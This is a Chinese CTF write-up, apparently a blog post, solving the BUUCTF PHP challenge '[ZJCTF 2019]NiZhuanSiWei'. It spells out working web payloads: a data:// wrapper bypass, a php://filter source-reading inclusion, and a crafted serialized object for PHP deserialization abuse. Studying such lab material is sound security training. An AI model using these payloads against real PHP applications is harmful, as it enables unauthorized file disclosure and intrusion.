[ZJCTF 2019]NiZhuanSiWei

最新推荐文章于 2024-04-08 00:35:41 发布

原创最新推荐文章于 2024-04-08 00:35:41 发布 · 1.4k 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#web

BUUCTF 专栏收录该内容

8 篇文章

订阅专栏

博客围绕CTF题目展开，涉及data协议绕过、filter文件读取和反序列化绕过。打开靶机看到代码，尝试用filter读取文件无果，参考他人方法先利用data协议绕过写入内容，再用filter读取文件，解码后得到新代码，最后将序列化内容作为参数构造payload，查看源码获得flag。

考察内容：
1.data协议绕过
2.filter文件读取
3.反序列化绕过

看到这个题目我一开始还拼了半天，据我的猜测来看应该是逆转思维？？？
在这里插入图片描述
一打开靶机我们可以看到一段代码
看到代码中有useless.php，我们打开看一下 emmm 但是什么都没有真的就是useless
欲尝试利用filter来进行文件读取但是依旧也没有回显出来什么
参考了别人的wp 是要先利用data协议绕过将welcome to the zjctf写入
即 text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= (d2VsY29tZSB0byB0aGUgempjdGY=是welcome to the zjctf的base64编码形式）
在这里插入图片描述
代码中有正则匹配，我们需要绕过~~
此时我们可以先利用filter进行文件读取text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

出现了base64，我们将其进行解码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

阿这，这个题还没结束，解出来了新的代码。。。阿，对哦，还有一个参数这怎么能算完呢。
我们可以看到这里将password的值反序列化了
在这里插入图片描述
那么我们就将file=flag.php进行序列化作为password的参数应该就可以获得flag了

<?php
class Flag{
	public $file="flag.php";
}
$a = new Flag();
echo serialize($a);
?>

得到：O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
构造payload：text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
在这里插入图片描述
查看源码获得flag